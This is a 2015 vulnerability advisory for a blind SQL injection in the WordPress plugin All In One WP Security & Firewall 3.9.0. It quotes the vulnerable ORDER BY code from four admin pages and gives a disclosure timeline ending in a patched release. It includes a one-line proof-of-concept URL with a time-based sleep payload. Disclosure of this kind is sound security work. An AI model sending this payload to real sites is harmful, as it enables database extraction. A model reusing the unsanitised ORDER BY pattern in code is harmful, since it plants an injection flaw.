WordPress All In One WP Security & Firewall 3.9.0 SQL Injection Vulnerability

2015-04-08 19:05:04

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# Exploit Title : WordPress All In One WP Security & Firewall 3.9.0 SQL Injection Vulnerability

# Exploit Author : Claudio Viviani

# Vendor Homepage : https://wordpress.org/plugins/all-in-one-wp-security-and-firewall/

# Software Link : https://mega.co.nz/#!DJAEBLBS!IBiukGo-pirelHmsRV80xZDHIvpqZKtTIqsD8YrMf7U

# Date : 2015-04-05

# Tested on : Linux / Mozilla Firefox

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# Description

WordPress All In One WP Security & Firewall 3.9.0 suffers from Blind SQL Injection vulnerability

There are some pages with wordpress esc_sql function.
esc_sql is prone to Blind SQL Injection (discovered by Ryan Dewhurst - http://dewhurstsecurity.com/)

isset($_GET["orderby"]) ? $orderby = strip_tags($_GET["orderby"]): $orderby = '';
isset($_GET["order"]) ? $order = strip_tags($_GET["order"]): $order = '';

- admin/wp-security-list-404.php

$orderby = !empty($orderby) ? esc_sql($orderby) : 'id';
$order = !empty($order) ? esc_sql($order) : 'DESC';
...
...
$data = $wpdb->get_results("SELECT * FROM $events_table_name ORDER BY $orderby $order", ARRAY_A);


- admin/wp-security-list-login-fails.php

$orderby = !empty($orderby) ? esc_sql($orderby) : 'failed_login_date';
$order = !empty($order) ? esc_sql($order) : 'DESC';

$data = $wpdb->get_results("SELECT * FROM $failed_logins_table_name ORDER BY $orderby $order", ARRAY_A);


- admin/wp-security-list-acct-activity-php

$orderby = !empty($orderby) ? esc_sql($orderby) : 'login_date';
$order = !empty($order) ? esc_sql($order) : 'DESC';

$data = $wpdb->get_results("SELECT * FROM $login_activity_table ORDER BY $orderby $order LIMIT 50", ARRAY_A)


- admin/wp-security-list-locked-ip.php

$orderby = !empty($orderby) ? esc_sql($orderby) : 'failed_login_date';
$order = !empty($order) ? esc_sql($order) : 'DESC';

$data = $wpdb->get_results("SELECT * FROM $lockdown_table_name WHERE release_date > now() ORDER BY $orderby $order", ARRAY_A)

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# PoC

http://VICTIM//wp-admin/admin.php?page=aiowpsec&tab=tab3&orderby=user_id,(select * from (select(sleep(30)))a)&order=asc


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# Vulnerability Disclosure Timeline:

2015-04-05: Discovered vulnerability
2015-04-06: Vendor Notification
2015-04-06: Vendor Response/Feedback
2015-04-07: Vendor Send Fix/Patch (3.9.1)
2015-04-07: Public Disclosure

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Discovered By : Claudio Viviani
http://www.homelab.it
http://ffhd.homelab.it (Free Fuzzy Hashes Database)

[email protected]
[email protected]

https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

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Fixes

No fixes

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